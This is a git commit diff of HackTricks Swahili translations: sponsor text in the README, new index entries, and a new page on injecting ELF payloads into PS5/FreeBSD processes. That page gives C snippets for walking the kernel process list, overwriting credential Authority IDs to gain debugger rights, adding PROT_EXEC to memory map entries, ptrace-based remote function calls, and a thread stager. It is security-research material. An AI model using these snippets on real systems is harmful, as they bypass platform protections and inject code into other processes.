Translated ['src/blockchain/blockchain-and-crypto-currencies/README.md',

This commit is contained in:
Translator 2025-09-30 22:48:50 +00:00
parent 47c59db8e5
commit 686ad20007
20 changed files with 2077 additions and 887 deletions

File diff suppressed because one or more lines are too long

View File

@ -2,9 +2,9 @@
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
_Hacktricks logos & motion design by_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
_Nembo za Hacktricks na muundo wa mwendo na_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
### Endesha HackTricks Kwenye Kompyuta Yako
### Endesha HackTricks kwenye kompyuta yako
```bash
# Download latest version of hacktricks
git clone https://github.com/HackTricks-wiki/hacktricks
@ -31,19 +31,19 @@ export LANG="master" # Leave master for english
# Run the docker container indicating the path to the hacktricks folder
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
```
Your local copy of HackTricks will be **available at [http://localhost:3337](http://localhost:3337)** after <5 minutes (it needs to build the book, be patient).
Nakili yako ya HackTricks itakuwa **inapatikana kwa [http://localhost:3337](http://localhost:3337)** baada ya <5 dakika (inahitaji kujenga kitabu, kuwa mvumilivu).
## Corporate Sponsors
## Wadhamini wa Kampuni
### [STM Cyber](https://www.stmcyber.com)
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) ni kampuni nzuri ya usalama wa mtandao ambayo kauli mbiu yake ni **HACK THE UNHACKABLE**. Wanatekeleza utafiti wao wenyewe na kuunda zana zao za udukuzi ili **kutoa huduma kadhaa za thamani za usalama wa mtandao** kama pentesting, Red teams na mafunzo.
[**STM Cyber**](https://www.stmcyber.com) ni kampuni nzuri ya usalama wa mtandao ambayo kaulimbiu yao ni **HACK THE UNHACKABLE**. Wanatekeleza utafiti wao na kubuni zana zao za hacking ili **kutoa huduma kadhaa muhimu za usalama wa mtandao** kama pentesting, Red teams na mafunzo.
Unaweza kuangalia **blog** yao katika [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
**STM Cyber** pia inasaidia miradi ya usalama wa mtandao ya chanzo wazi kama HackTricks :)
**STM Cyber** pia inasaidia miradi ya chanzo wazi ya usalama wa mtandao kama HackTricks :)
---
@ -51,7 +51,7 @@ Unaweza kuangalia **blog** yao katika [**https://blog.stmcyber.com**](https://bl
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa **lengo la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila taaluma.
[**RootedCON**](https://www.rootedcon.com) ni tukio muhimu zaidi la usalama wa mtandao nchini **Spain** na moja ya muhimu zaidi katika **Europe**. Kwa **kusudi la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa mkutano lenye shughuli nyingi kwa wataalamu wa teknolojia na usalama wa mtandao katika fani zote.
{{#ref}}
https://www.rootedcon.com/
@ -63,9 +63,9 @@ https://www.rootedcon.com/
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
**Intigriti** ni **jukwaa nambari moja** la udukuzi wa kimaadili na **bug bounty** barani **Ulaya**.
**Intigriti** ni **#1 Barani Ulaya** ethical hacking na **bug bounty platform.**
**Nasaha ya bug bounty**: **jiandikishe** kwa **Intigriti**, jukwaa la **bug bounty la kiwango cha juu lililotengenezwa na hackers, kwa hackers**! Jiunge nasi katika [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata zawadi hadi **$100,000**!
**Bug bounty tip**: **jisajili** kwa **Intigriti**, jukwaa la premium la bug bounty lililotengenezwa na hackers, kwa hackers! Jiunge nasi kwenye [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata bounties hadi **$100,000**!
{{#ref}}
https://go.intigriti.com/hacktricks
@ -78,7 +78,7 @@ https://go.intigriti.com/hacktricks
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Tumia [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kujenga na **kujiendesha kiotomatiki** kwa urahisi kwa kutumia zana za jamii zenye **maendeleo zaidi** duniani.
Tumia [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kujenga kwa urahisi na ku-automate workflows zinazoendeshwa na zana za jamii zilizoendelea zaidi ulimwenguni.
Pata Ufikiaji Leo:
@ -92,23 +92,23 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na hackers wenye uzoefu na wawindaji wa bug bounty!
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na hackers wenye uzoefu na bug bounty hunters!
- **Maoni ya Udukuzi:** Jihusishe na maudhui yanayoangazia msisimko na changamoto za udukuzi
- **Habari za Udukuzi kwa Wakati Halisi:** Fuata habari za haraka za ulimwengu wa udukuzi kupitia habari na maoni ya wakati halisi
- **Matangazo ya Karibuni:** Kuwa na habari kuhusu bug bounties mpya zinazozinduliwa na masasisho muhimu ya jukwaa
- **Hacking Insights:** Shirikiana na maudhui yanayoingia ndani ya msisimko na changamoto za hacking
- **Real-Time Hack News:** Kuwa updated na dunia ya hacking kupitia habari na maarifa ya wakati halisi
- **Latest Announcements:** Pata taarifa za hivi punde kuhusu bounties mpya zinazozinduliwa na masasisho muhimu ya majukwaa
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na hackers bora leo!
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na top hackers leo!
---
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - Zana muhimu za kupenya
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - Zana muhimu za penetration testing
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu**
**Pata mtazamo wa hacker juu ya web apps, mtandao, na cloud yako**
**Pata na ripoti kuhusu udhaifu muhimu, unaoweza kutumiwa kwa biashara.** Tumia zana zetu 20+ za kawaida kubaini uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha hadhi, na tumia mashambulizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako kuwa ripoti za kushawishi.
**Gundua na ripoti udhaifu muhimu unaoweza kutumika na wenye athari za biashara.** Tumia zana zetu 20+ za kawaida ili kupima uso wa mashambulizi, gundua masuala ya usalama yanayokuwezesha kuongeza vibali, na tumia exploits zilizooautomate kukusanya ushahidi muhimu, ukigeuza kazi yako kuwa ripoti za kushawishi.
{{#ref}}
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -120,22 +120,22 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi** inatoa APIs za haraka na rahisi za wakati halisi ili **kupata matokeo ya injini za utafutaji**. Wanakusanya data kutoka kwa injini za utafutaji, kushughulikia proxies, kutatua captchas, na kuchambua data zote zenye muundo wa kina kwa ajili yako.
**SerpApi** inatoa APIs za wakati halisi haraka na kwa urahisi za ku-access search engine results. Wanascape search engines, kushughulikia proxies, kutatua captchas, na kuchambua data zote zilizo-structured kwa niaba yako.
Usajili wa moja ya mipango ya SerpApi unajumuisha ufikiaji wa zaidi ya APIs 50 tofauti za kukusanya data kutoka kwa injini mbalimbali za utafutaji, ikiwa ni pamoja na Google, Bing, Baidu, Yahoo, Yandex, na zaidi.\
Tofauti na watoa huduma wengine, **SerpApi haisafishi tu matokeo ya asili**. Majibu ya SerpApi mara kwa mara yanajumuisha matangazo yote, picha na video za ndani, grafu za maarifa, na vipengele na sifa nyingine zilizopo katika matokeo ya utafutaji.
Usajili kwenye mmoja wa mipango ya SerpApi unajumuisha ufikiaji wa zaidi ya API tofauti 50 za kuchapa search engines mbalimbali, ikiwemo Google, Bing, Baidu, Yahoo, Yandex, na zaidi.\
Tofauti na watoa huduma wengine, **SerpApi haichapi tu organic results**. Majibu ya SerpApi mara nyingi yanajumuisha matangazo yote, picha na video zilizo-inline, knowledge graphs, na vipengele vingine vilivyo kwenye matokeo ya utafutaji.
Wateja wa sasa wa SerpApi ni pamoja na **Apple, Shopify, na GrubHub**.\
Kwa maelezo zaidi angalia [**blog**](https://serpapi.com/blog/)** yao,** au jaribu mfano katika [**playground**](https://serpapi.com/playground)** yao.**\
Unaweza **kuunda akaunti ya bure** [**hapa**](https://serpapi.com/users/sign_up)**.**
Kwa habari zaidi angalia [**blog**](https://serpapi.com/blog/)**,** au jaribu mfano katika [**playground**](https://serpapi.com/playground)**.**\
Unaweza **kufungua akaunti ya bure** [**hapa**](https://serpapi.com/users/sign_up)**.**
---
### [8kSec Academy Kozi za Usalama wa Simu za Mkononi](https://academy.8ksec.io/)
### [8kSec Academy In-Depth Mobile Security Courses](https://academy.8ksec.io/)
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
Jifunze teknolojia na ujuzi unaohitajika kufanya utafiti wa udhaifu, kupenya, na uhandisi wa kurudi ili kulinda programu na vifaa vya simu. **Tawala usalama wa iOS na Android** kupitia kozi zetu za on-demand na **pata cheti**:
Jifunze teknolojia na ujuzi unaohitajika kufanya utafiti wa udhaifu, penetration testing, na reverse engineering ili kulinda mobile applications na vifaa. **Bobea katika usalama wa iOS na Android** kupitia kozi zetu za on-demand na **pata cheti**:
{{#ref}}
https://academy.8ksec.io/
@ -147,13 +147,13 @@ https://academy.8ksec.io/
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.net) ni kampuni ya kitaalamu ya usalama wa mtandao iliyo na makao yake nchini **Amsterdam** ambayo husaidia **kulinda** biashara **duniani kote** dhidi ya vitisho vya hivi karibuni vya usalama wa mtandao kwa kutoa **huduma za usalama wa mashambulizi** kwa njia ya **kisasa**.
[**WebSec**](https://websec.net) ni kampuni ya kitaalamu ya usalama wa mtandao iliyo katika **Amsterdam** ambayo husaidia **kulinda** biashara **hapo duniani kote** dhidi ya tishio la hivi punde la usalama kwa kutoa **huduma za offensive-security** kwa mtazamo **wa kisasa**.
WebSec ni kampuni ya usalama ya kimataifa yenye ofisi nchini Amsterdam na Wyoming. Wanatoa **huduma za usalama za kila kitu** ambayo inamaanisha wanafanya kila kitu; Pentesting, **Ukaguzi wa** Usalama, Mafunzo ya Uelewa, Kampeni za Phishing, Mapitio ya Kanuni, Maendeleo ya Uthibitisho, Utoaji wa Wataalamu wa Usalama na mengi zaidi.
WebSec ni kampuni ya usalama ya kimataifa yenye ofisi huko Amsterdam na Wyoming. Wanatoa **huduma zote-katika-moja za usalama** ambazo zina maana wanashughulikia kila kitu; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing na mengi zaidi.
Jambo lingine zuri kuhusu WebSec ni kwamba tofauti na wastani wa sekta WebSec **ina imani kubwa katika ujuzi wao**, hadi kiwango kwamba **wanahakikishia matokeo bora zaidi**, inasema kwenye tovuti yao "**Ikiwa hatuwezi kuikabili, Hupaswi kulipa!**". Kwa maelezo zaidi angalia [**tovuti yao**](https://websec.net/en/) na [**blog**](https://websec.net/blog/) yao!
Jambo jingine zuri kuhusu WebSec ni kwamba tofauti na wastani wa tasnia WebSec wana **kujiamini mkubwa katika ujuzi wao**, hadi kiwango cha kuwahakikishia matokeo bora kabisa, inasema kwenye tovuti yao "**If we can't hack it, You don't pay it!**". Kwa maelezo zaidi angalia [**website**](https://websec.net/en/) yao na [**blog**](https://websec.net/blog/)!
Mbali na hayo WebSec pia ni **mshabiki aliyejitolea wa HackTricks.**
Mbali na hayo WebSec pia ni **mshabiki wa kujitolea wa HackTricks.**
{{#ref}}
https://www.youtube.com/watch?v=Zq2JycGDCPM
@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) ni injini ya kutafuta uvunjaji wa data (leak). \
Tunatoa utafutaji wa mfuatano wa nasibu (kama google) juu ya aina zote za uvunjaji wa data kubwa na ndogo --sio tu kubwa-- kutoka kwa vyanzo vingi. \
Watu wanatafuta, AI inatafuta, utafutaji wa shirika, ufikiaji wa API (OpenAPI), ushirikiano wa theHarvester, vipengele vyote ambavyo pentester anahitaji.\
**HackTricks inaendelea kuwa jukwaa kubwa la kujifunza kwa sisi sote na tunajivunia kuwa wadhamini wake!**
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) ni search engine ya data breach (leak). \
Tunatoa random string search (kama google) juu ya aina zote za data leaks kubwa na ndogo --si tu kubwa-- juu ya data inayotoka vyanzo vingi. \
People search, AI search, organization search, API (OpenAPI) access, theHarvester integration, vipengele vyote ambavyo pentester anahitaji.\
**HackTricks inaendelea kuwa jukwaa bora la kujifunza kwetu sote na tunajivunia kuwa wadhamini wake!**
{{#ref}}
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -180,13 +180,14 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
<figure><img src="images/cyberhelmets-logo.png" alt="cyberhelmets logo"><figcaption></figcaption></figure>
**Imetengenezwa kwa ajili ya uwanja. Imetengenezwa kwa ajili yako.**\
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) inakuza na kutoa mafunzo bora ya usalama wa mtandao yaliyotengenezwa na kuongozwa na wataalamu wa sekta. Programu zao zinazidi nadharia ili kuwapa timu uelewa wa kina na ujuzi wa vitendo, wakitumia mazingira maalum yanayoakisi vitisho halisi. Kwa maombi ya mafunzo maalum, wasiliana nasi [**hapa**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
**Nini kinachowatofautisha mafunzo yao:**
* Maudhui na maabara yaliyotengenezwa maalum
* Imeungwa mkono na zana na majukwaa ya kiwango cha juu
* Imeundwa na kufundishwa na wataalamu
**Built for the field. Built around you.**\
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) huunda na kutoa mafunzo ya usalama wa mtandao yenye ufanisi yameundwa na kuongozwa na wataalamu wa tasnia. Programu zao zinaenda zaidi ya nadharia ili kuwapangia timu uelewa wa kina na ujuzi wa utekelezaji, zikitumia mazingira maalum yanayoakisi tishio la ulimwengu wa kweli. Kwa maswali kuhusu mafunzo maalum, wasiliana nasi [**hapa**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
**Kile kinachofanya mafunzo yao kuwa tofauti:**
* Vilivyojengwa kwa muktadha wa maudhui na maabara
* Zinategemewa na zana na majukwaa ya kiwango cha juu
* Zimetengenezwa na kufundishwa na wataalamu wa vitendo
{{#ref}}
https://cyberhelmets.com/courses/?ref=hacktricks
@ -198,15 +199,13 @@ https://cyberhelmets.com/courses/?ref=hacktricks
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
Last Tower Solutions inatoa huduma maalum za usalama wa mtandao kwa **Elimu** na **FinTech**
taasisi, kwa kuzingatia **kupenya, tathmini za usalama wa wingu**, na
**kujiandaa kwa kufuata** (SOC 2, PCI-DSS, NIST). Timu yetu inajumuisha **wataalamu walioidhinishwa wa OSCP na CISSP**, wakileta utaalamu wa kina wa kiufundi na maarifa ya viwango vya sekta katika kila ushirikiano.
Last Tower Solutions hutoa huduma maalum za usalama wa mtandao kwa taasisi za **Elimu** na **FinTech**, ikilenga **penetration testing, cloud security assessments**, na **compliance readiness** (SOC 2, PCI-DSS, NIST). Timu yetu ni pamoja na wataalamu waliothibitishwa wa **OSCP na CISSP**, wakiwa na utaalamu wa kiufundi na ufahamu wa viwango vya tasnia kwa kila ushirikiano.
Tunazidi skana za kiotomatiki kwa **kujaribu kwa mikono, kulingana na akili** iliyoundwa kwa mazingira yenye hatari kubwa. Kutoka kulinda rekodi za wanafunzi hadi kulinda shughuli za kifedha, tunasaidia mashirika kulinda kile kilicho muhimu zaidi.
Tunazidi skani za otomatiki kwa **upimaji wa mkono ulioongozwa na intelijensia** uliobinafsishwa kwa mazingira ya hatari kubwa. Kuanzia kulinda rekodi za wanafunzi hadi kulinda miamala ya kifedha, tunawasaidia mashirika kulinda yale muhimu zaidi.
_“Ulinzi wa ubora unahitaji kujua mashambulizi, tunatoa usalama kupitia uelewa.”_
Kuwa na habari na kuwa na habari kuhusu mambo mapya katika usalama wa mtandao kwa kutembelea [**blog**](https://www.lasttowersolutions.com/blog) yetu.
Kaa umejulishwa na up-to-date na maendeleo ya hivi punde katika usalama wa mtandao kwa kutembelea [**blog**](https://www.lasttowersolutions.com/blog).
{{#ref}}
https://www.lasttowersolutions.com/
@ -214,15 +213,30 @@ https://www.lasttowersolutions.com/
---
## License & Disclaimer
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
Check them in:
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
K8Studio IDE inawawezesha DevOps, DevSecOps, na developers kusimamia, kufuatilia, na kuilinda Kubernetes clusters kwa ufanisi. Tumia maarifa yetu yanayoendeshwa na AI, fremu ya usalama ya hali ya juu, na CloudMaps GUI inayofaa kuona clusters zako, kuelewa hali yao, na kuchukua hatua kwa kujiamini.
Pia, K8Studio ni **inayolingana na distributions zote kuu za kubernetes** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift na zaidi).
{{#ref}}
https://k8studio.io/
{{#endref}}
---
## Leseni na Msamaha
Angalia hizi katika:
{{#ref}}
welcome/hacktricks-values-and-faq.md
{{#endref}}
## Github Stats
## Takwimu za Github
![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)

View File

@ -59,6 +59,7 @@
- [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
- [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
- [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
- [Discord Cache Forensics](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md)
- [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
- [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
- [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
@ -82,6 +83,7 @@
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
- [Mutation Testing With Slither](blockchain/smart-contract-security/mutation-testing-with-slither.md)
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
@ -102,6 +104,7 @@
# 🐧 Linux Hardening
- [Linux Basics](linux-hardening/linux-basics.md)
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
@ -570,6 +573,7 @@
- [15672 - Pentesting RabbitMQ Management](network-services-pentesting/15672-pentesting-rabbitmq-management.md)
- [24007,24008,24009,49152 - Pentesting GlusterFS](network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md)
- [27017,27018 - Pentesting MongoDB](network-services-pentesting/27017-27018-mongodb.md)
- [32100 Udp - Pentesting Pppp Cs2 P2p Cameras](network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md)
- [44134 - Pentesting Tiller (Helm)](network-services-pentesting/44134-pentesting-tiller-helm.md)
- [44818/UDP/TCP - Pentesting EthernetIP](network-services-pentesting/44818-ethernetip.md)
- [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
@ -587,6 +591,7 @@
- [BrowExt - ClickJacking](pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md)
- [BrowExt - permissions & host_permissions](pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md)
- [BrowExt - XSS Example](pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md)
- [Forced Extension Load Preferences Mac Forgery Windows](pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md)
- [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
- [Captcha Bypass](pentesting-web/captcha-bypass.md)
- [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
@ -843,6 +848,7 @@
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
- [PS5 compromission](binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
- [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)

View File

@ -0,0 +1,183 @@
# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (uchambuzi wa kesi wa PS5)
{{#include ../banners/hacktricks-training.md}}
## Muhtasari
Ukurasa huu unaweka kumbukumbu mbinu ya vitendo ya kuingiza processo/ELF ya usermode kwenye PlayStation 5 (PS5), ambayo inatokana na FreeBSD. Mbinu hii inafaa pia kwa derivatives za FreeBSD wakati tayari una kernel read/write (R/W) primitives. Kwa kiwango cha juu:
- Badilisha credentials za mchakato wa sasa (ucred) ili kumpa mamlaka ya debugger, kuruhusu ptrace/mdbg kwenye michakato ya mtumiaji yoyote.
- Tafuta michakato lengwa kwa kutembea kupitia orodha ya kernel allproc.
- Bypass vikwazo vya PROT_EXEC kwa kubadilisha vm_map_entry.protection |= PROT_EXEC kwenye vm_map ya lengwa kupitia uandishi wa data za kernel.
- Tumia ptrace kufanya Remote Function Invocation (RFI): simamisha thread, weka rejista ili kuita functions yoyote ndani ya lengwa, endesha tena, kusanya return values, na rudisha state.
- Ramisha na endesha ELF payloads yoyote ndani ya lengwa kwa kutumia in-process ELF loader, kisha anzisha thread maalum inayotekeleza payload yako na kusababisha breakpoint ili kutenganishwa safi.
Vidhibiti vya hypervisor vya PS5 vinavyostahili kutajwa (kwa muktadha wa mbinu hii):
- XOM (execute-only .text) inazuia kusoma/kuandika kernel .text.
- Clearing CR0.WP au disabling CR4.SMEP husababisha hypervisor vmexit (crash). Uandishi wa kernel wa data pekee ndio inawezekana.
- mmap ya userland imezuiwa kwa PROT_READ|PROT_WRITE kwa default. Kumpa PROT_EXEC lazima kufanyike kwa kuhariri vm_map entries katika memory ya kernel.
Mbinu hii ni post-exploitation: inadhani kuwa una kernel R/W primitives kutoka kwenye exploit chain. Public payloads zinaonyesha hili hadi firmware 10.01 wakati wa kuandika.
### Kernel data-only primitives
### Process discovery via allproc
FreeBSD inaweka orodha iliyounganishwa mara mbili ya michakato katika kernel .data kwenye allproc. Ukiwa na kernel read primitive, itezesha ili kupata majina ya michakato na PIDs:
```c
struct proc* find_proc_by_name(const char* proc_name){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry
if (!strcmp(proc->p_comm, proc_name)) return proc;
kernel_copyout(next, &next, sizeof(uint64_t)); // advance next
} while (next);
free(proc);
return NULL;
}
void list_all_proc_and_pid(){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));
printf("%s - %d\n", proc->p_comm, proc->pid);
kernel_copyout(next, &next, sizeof(uint64_t));
} while (next);
free(proc);
}
```
Vidokezo:
- KERNEL_ADDRESS_ALLPROC inategemea firmware.
- p_comm ni jina la ukubwa thabiti; fikiria utambuzi kupitia pid->proc ikiwa inahitajika.
### Inua kredensiali kwa debugging (ucred)
Kwenye PS5, struct ucred ina shamba la Authority ID linaloweza kupatikana kupitia proc->p_ucred. Kuandika Authority ID ya debugger kunatoa ptrace/mdbg juu ya michakato mingine:
```c
void set_ucred_to_debugger(){
struct proc* proc = get_proc_by_pid(getpid());
if (proc){
uintptr_t authid = 0; // read current (optional)
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
free(proc);
}
}
```
- Offset 0x58 ni maalum kwa familia ya firmware ya PS5 na lazima uhakikishe kwa kila toleo.
- Baada ya uandishi huu, injector anaweza kuambatisha na ku-instrument michakato ya mtumiaji kupitia ptrace/mdbg.
## Kupita mipangilio ya mtumiaji zenye RW tu: vm_map PROT_EXEC flip
mmap ya userland inaweza kuwa imezuiwa kwa PROT_READ|PROT_WRITE. FreeBSD inafuatilia nafasi ya anwani ya mchakato katika vm_map ya vm_map_entry nodes (BST plus list). Kila entry ina fields za protection na max_protection:
```c
struct vm_map_entry {
struct vm_map_entry *prev,*next,*left,*right;
vm_offset_t start, end, avail_ssize;
vm_size_t adj_free, max_free;
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
int wired_count; vm_pindex_t lastr;
};
```
Kwa kernel R/W unaweza kupata vm_map ya target na kuweka entry->protection |= PROT_EXEC (na, inapohitajika, entry->max_protection). Vidokezo vya utekelezaji wa vitendo:
- Pitia entries ama kwa mstari kupitia next au kutumia balanced-tree (left/right) kwa utafutaji wa O(log n) kwa anuwai ya anwani.
- Chagua eneo la RW unalodhibiti (scratch buffer au mapped file) na ongeza PROT_EXEC ili uweze stage code au loader thunks.
- PS5 SDK code hutoa helpers kwa fast map-entry lookup na kubadili protections.
Hii inazidi sera ya mmap ya userland kwa kuhariri metadata inayomilikiwa na kernel moja kwa moja.
## Remote Function Invocation (RFI) kwa ptrace
FreeBSD lacks Windows-style VirtualAllocEx/CreateRemoteThread. Badala yake, endesha target iite functions yenyewe chini ya udhibiti wa ptrace:
1. Unganisha kwa target na chagua thread; PTRACE_ATTACH au PS5-specific mdbg flows zinaweza kutumika.
2. Hifadhi thread context: registers, PC, SP, flags.
3. Andika argument registers kwa mujibu wa ABI (x86_64 SysV au arm64 AAPCS64), weka PC kwa function lengwa, na hiari weka args/stack za ziada kama zinahitajika.
4. Fanya single-step au continue hadi kusimama kwa udhibiti (mf. software breakpoint au signal), kisha soma thamani za kurudi kutoka regs.
5. Rejesha context ya awali na endelea.
Matumizi:
- Piga simu katika ELF loader inayofanya kazi ndani ya mchakato (mf. elfldr_load) ukitumia pointer kwa ELF image yako iliyoko kwenye memory ya target.
- Iita helper routines ili kuchukua entrypoints zilizorejeshwa na pointers za payload-args.
Mfano wa kuendesha ELF loader:
```c
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
intptr_t args = elfldr_payload_args(target_pid);
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
```
Loader huweka ramani za segments, hutatua imports, hutumia relocations na hurudisha entry (mara nyingi CRT bootstrap) pamoja na opaque payload_args pointer ambayo stager yako hupitisha kwa payloads main().
## Threaded stager and clean detach
Stager ndogo ndani ya target inaunda pthread mpya ambayo inaendesha ELFs main kisha inachochea int3 ili kutoa ishara kwa injector ili idetach:
```c
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
pthread_t thread;
functions->pthread_create_ptr(&thread, 0,
(void*(*)(void*))functions->elf_main, functions->payload_args);
asm("int3");
return 0;
}
```
- Viashiria SCEFunctions/payload_args vinatolewa na loader/SDK glue.
